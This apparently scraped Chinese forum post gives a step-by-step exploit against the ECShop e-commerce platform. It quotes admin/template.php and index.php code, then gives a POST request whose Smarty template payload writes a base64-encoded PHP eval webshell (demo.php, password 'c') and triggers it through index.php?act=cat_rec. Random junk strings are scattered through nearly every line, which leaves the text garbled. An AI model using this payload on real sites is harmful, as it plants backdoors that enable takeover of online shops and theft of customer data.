首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
6 g% a, I4 D! K$ s
2 h; ]9 \8 ?- u9 Q7 }而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了# U1 r' I3 Q. U; a7 b
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* I( z, K% n" |' } s: S5 g4 q
admin/template.php- F, D0 |% a5 k
1 q, }9 {$ ` v! d7 v" C1 if ($_REQUEST['act'] == 'update_library') 7 B J3 v/ A" Z
& K# T: I( ~. u; Y8 T
2
/ b9 R+ w; {# j, m; s, N4 C
. ?: [3 \/ Z# w3 D. b% ~3 {
$ ~+ ], V0 u( g+ H3 e( g3 d7 z- j( h6 l! b
4 check_authz_json('library_manage'); - `% v+ T4 C$ B; y
, ]/ J0 _; i, m/ U0 P5 ! a. ]; `8 u1 t- h5 ~5 @
6 N: u8 i k1 T9 d6 $html = stripslashes(json_str_iconv($_POST['html'])); ) ~" {7 R7 r2 S2 I- [- e
7 y6 ]/ W3 T2 |: ?$ T$ H
7
J6 f' H8 g0 P
6 Z# k e" J6 _# S! D" s; w8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ u& a! e5 M4 ]7 `+ b
$ A7 {& A) ^/ x M" N8 C0 ~9 - W$ q/ Q( B. F" j9 ?. ^1 d( ?, D6 \
q5 ^! z( M- `- e; l- i5 J1 x" j10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 5 t) g; M @7 L: l- i
7 V1 d" U8 x) m& w3 H+ I0 [11
* C0 {& t# g- T* ~1 k U7 N0 h0 p
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
0 Z9 o. x- D9 |( P! A& ?
' F$ u6 ~0 K% W z13 4 [) I2 e' d7 ^; x7 L$ M
4 y. b3 U0 k5 `% y* G0 t
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
3 {( g+ x; {5 Q( l
' T, a# g1 Z; F: P5 U' @7 {15 {
" J9 z% T. F! a( h5 k3 j2 O9 D1 ~, l2 R
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
' p0 z9 _! H/ H: X9 d4 J) b9 Z. J7 W \3 p x7 C* R
17 make_json_result('', $_LANG['update_lib_success']); # n1 g5 A. i8 I* @1 b% J
& n! u. d0 s& U* N
18 } 6 x0 N/ o- D {9 \6 o. S
7 s5 \( t& x- G' i; u% \7 k4 H19 else
9 Y/ [ \- C* H P2 z# j
8 j9 v8 Y/ Q* S9 ]20 { 4 k% L: d) d# u' C. \. A
+ I! F9 W4 ], O, M- y& e3 m7 m21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); * w2 |7 e# d) I' i5 F6 ]2 H
- N) e& r7 `7 o# s. O
22 }
' S7 U& A( H: X; N
; _0 f, }6 {# I( Z- z% {' M; K" K23 }
+ h& _ I' H0 s- N6 X5 A
( h; ]# H$ m# h: W1 t那么找个比较方便调用了模板的文件2 N; k( D; ~" g7 v- d
index.php
4 J( r" y% G) b0 _8 |
' L! `+ k+ g: \2 {; Q, P7 ^* p1 if ($act == 'cat_rec')
) A1 g% h( l W, {! T; p4 F1 O
9 q. S- c% Y v' [# j# ? K2 + j" F) N4 J% o4 d$ y5 d P* M
5 f; x* t; e: a* t* W3 { 2 i; }" H- e3 P- u
/ ?! I; {, D1 V% g+ }7 M1 B a4
- L( ?7 V3 ]) H* B, C
4 ^0 J; X. B% s, E' O5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); - }0 d0 P) {: h8 G' b
8 a, R- y `' X; }4 D6 # m5 a* n; e# f; V3 t4 r
4 }7 p/ r! v- P7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 4 H$ B3 M1 I& v* V
0 Y2 H6 f2 ~, u8 # y; v9 x- T( p" u* n* u
8 R, `1 E% i6 @$ S3 o, L: u" i$ z9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
4 t. B3 f' M9 o- p" R3 L) |2 C' U4 W* N# E' ? A3 N5 G+ l G; j
10 6 k6 e. m( J, ?% `, c* \. Y
5 \) [) p/ C7 Z11 include_once('includes/cls_json.php');
" s+ K" t# t. ]/ Q! r% w
, {( \' K2 U+ c- n- W, M8 {$ |12
/ ]) V4 b! T z( Y- R5 P' s
2 @* h2 g$ c _( R8 x! ~13 $json = new JSON;
4 ]4 n p/ u3 B, Y5 p
+ D$ |5 ?' [: V$ h$ S- M/ L14
$ Z0 S6 Q) c% d# V
# O5 y9 d: A! `3 ]6 z15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); , ]& m$ u. ^2 g9 F' r2 H
2 ~# A/ ? @0 H, ?% Y
16
n/ e: r( q7 u) `: q) ]& G$ m( I
9 t, D4 f. s% \, A# X3 p17 $children = get_children($cat_id);
8 V: S9 K" \% |9 a1 m/ J- |$ E
$ R( ^5 E$ \- ?9 g9 r18 ( ?. I- ^. k1 F0 s2 j9 t4 Z2 O! F
- O$ L7 a) e7 n; O" |4 B* a U- |6 G19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
1 c, V. D) E o S0 ?9 Q1 C& j* f
) v4 Y n K- K( E2 _20 F! S- z4 J4 P3 H5 z8 L7 _
1 z% Z* S. e6 r
21 $smarty->assign('cat_rec_sign', 1);
# V* S% ^$ r) ^. K4 y1 |+ `+ m' J6 f' U" ^; w6 m
22 8 @; m }9 @+ X( b' ?
h$ R1 [- k! E6 h# X23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ X) N- r* E% g1 s# |4 S1 g* B
: B' S4 s6 P' t, N0 B. z24
; `# u& W8 Z- H$ G4 v" c. ~& c4 \9 ~* K6 r: v
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 O8 E- ~7 | R' ]- b+ ^% L
5 ~6 @% B9 {- } b
26 / f3 a- Q/ A; X/ ^7 S2 a
, b( v* B. ^! g27 echo $rec_array[$rec_type];
3 B+ L% l2 G6 R) e B
9 }& \- Y. p2 P3 A$ h) i28
% Z- h1 \! q. W: N j B' n* D6 j: h: Y9 q4 I2 C
29 die($json->encode($result));
) j% h8 ~. L( Q
) K- l* V2 }# M# C3 ^% C30
+ _6 Q3 U! p- U
: Y( h# n/ e* p; T% ^1 B3 ]31 }
2 _- m9 }# w# }2 @6 w; F
4 N' @0 G k8 H, b那么就有利用方法了5 p% ^2 I$ f8 k# W- y
post包到http://localhost/ec/admin/template.php?act=update_library
$ S* I M* c) M# @) v0 vPost内容:
( e* i L# I u7 h7 X* p" p/ w
; i3 \ [, G* `3 o0 p5 J
& O1 ?& T& `2 |+ Q6 ]" W1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
4 X9 T9 l" g$ m- b) D
; c: `2 K. @- f& X7 J- q然后访问http://localhost/ec/index.php?act=cat_rec: [5 q: D7 h/ i' ~. a Q
; G0 l$ Y0 x* w' s& O" Ushel地址:http://localhost/ec/demo.php* y6 O6 e/ O0 S P d& d
密码c: t6 W. d5 H9 g- C6 a; U, y; H5 {
1 z5 h1 e: L9 o* h' ~0 v ?) A9 @ |